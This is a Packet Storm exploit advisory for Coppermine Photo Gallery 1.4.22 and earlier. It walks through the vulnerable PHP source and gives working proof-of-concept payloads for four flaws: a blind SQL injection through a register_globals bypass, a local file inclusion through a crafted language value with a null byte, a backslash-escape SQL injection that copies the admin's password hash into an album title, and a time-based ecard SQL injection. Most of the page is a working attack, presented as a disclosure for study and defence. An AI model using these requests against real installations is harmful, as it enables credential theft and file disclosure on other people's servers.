what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Coppermine Photo Gallery 1.4.22 LFI / SQL Injection

Coppermine Photo Gallery 1.4.22 LFI / SQL Injection
Posted May 19, 2009
Authored by __GiReX__ | Site girex.altervista.org

Coppermine Photo Gallery versions 1.4.22 and below suffer from a local file inclusion and SQL injection vulnerabilities.

tags | exploit, local, vulnerability, sql injection, file inclusion
SHA-256 | 87fb58bb7126db45e8e2a82016ce2ff92205219ffac850ab2799c1e7d47ca882

Coppermine Photo Gallery 1.4.22 LFI / SQL Injection

Change Mirror Download
Author:  girex
Site: http://girex.altervista.org/

CMS: Coppermine Photo Gallery <= 1.4.22


Coppermine Foto Gallery suffers from different vulnerabilities.

There is a Local File Inclusion and a Blind SQL Injection working with
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums
(default setting if registration is enabled) and php.ini regardless
and
a Blind SQL Injection when is enabled the ecard logging system
(that is not a default configuration) and php.ini regardless

Let's see how do they work...

-------------------------------------------------------------------------------------------

Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.

I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.

Let's see the anti-register_globals protection and how to bypass it...

File: /includes/init.inc.php - lines: 42-65

$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');

if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
$register_globals_flag = true;
} else {
$register_globals_flag = false;
}

if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}

Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.

Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.

Let's see how to exploit it...

File: ./thumbnails.php - lines: 79-

if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
if (isset($_GET['cat'])) $cat = (int)$_GET['cat']; <== bypass the int cast
if (isset($_GET['album'])) $album = $_GET['album'];

...
if (is_numeric($album)) {
...

} else {
$album_set_array = array();
if ($cat == USER_GAL_CAT)
$where = 'category > ' . FIRST_USER_CAT;
else
$where = "category = '$cat'";

$result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where"); <== Vulnerable query


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false

-------------------------------------------------------------------------------------------

It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...

File: /include/functions.inc.php - lines: 128-135

function user_get_profile()
{
global $CONFIG, $USER;

if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); <== we bypass it
}

if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
list($usec, $sec) = explode(' ', microtime());
$seed = (float) $sec + ((float) $usec * 100000);
srand($seed);
$USER=array('ID' => md5(uniqid(rand(),1)));
} else {
$USER['ID'] = addslashes($USER['ID']);
}

if (!isset($USER['am'])) $USER['am'] = 1;
}

File: /includes/init.inc.php - lines: 318-346

if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
}
elseif ($CONFIG['charset'] == 'utf-8') <== default configuration
{
include('include/select_lang.inc.php');
if (file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = $USER['lang'];
}
}
else
{
unset($USER['lang']);
}

if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
{
unset($CONFIG['default_lang']);
}

if (!file_exists("lang/{$CONFIG['lang']}.php"))
$CONFIG['lang'] = 'english';

// We load the chosen language file
require "lang/{$CONFIG['lang']}.php"; <== vulnerable include


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)

-------------------------------------------------------------------------------------------

When registration are enabled and a user can create/modify albums with password is possible
to obatain a blind sql injection php.ini regardless.

File: ./db_input.php

$event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];
switch ($event) {

...

case 'album_update':
if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in

$aid = (int)$_POST['aid'];
$title = addslashes(trim($_POST['title']));
$category = (int)$_POST['category'];
$description = addslashes(trim($_POST['description']));
$keyword = addslashes(trim($_POST['keyword']));
$thumb = (int)$_POST['thumb'];
$visibility = (int)$_POST['visibility'];
$uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';
$comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';
$votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';
$password = $_POST['alb_password']; <== this var is not addslashed
$password_hint = addslashes(trim($_POST['alb_password_hint']));
$visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;

if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);

if (GALLERY_ADMIN_MODE) {
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";
} else {
$category = FIRST_USER_CAT + USER_ID;
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";
}

$update = cpg_db_query($query);

$_POST['alb_password'] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...

File: /include/init.inc.php

// Do some cleanup in GET, POST and cookie data and un-register global vars
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');

...
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
...
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
...
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);


So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.


Here's a Proof of Concept:
NOTE: - registration must be enabled and an user must can create/modify albums
- works regardless of php.ini settings

- Log in with your user credential
- Create an album with password
- Do this request:

POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded

event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23

You will set the admin's password (user with user_id=1) as the title of your album.

-------------------------------------------------------------------------------------------

And we have also a Blind SQL Injection with a specific configuration of coppermine...

File: ./displayecard.php - lines 26-38

if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);

$data = array();
$data = @unserialize(@base64_decode($_GET['data']));

// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {
$result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");
if (mysql_num_rows($result) === 1) {
$row = mysql_fetch_assoc($result);
$data = @unserialize(@base64_decode($row['link']));
}
}


Here's a Proof of Concept:
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config)
- works regardless of php.ini settings

Make an injection with this php code:
<?php
$injection = "%' OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>

Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1

girex



Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close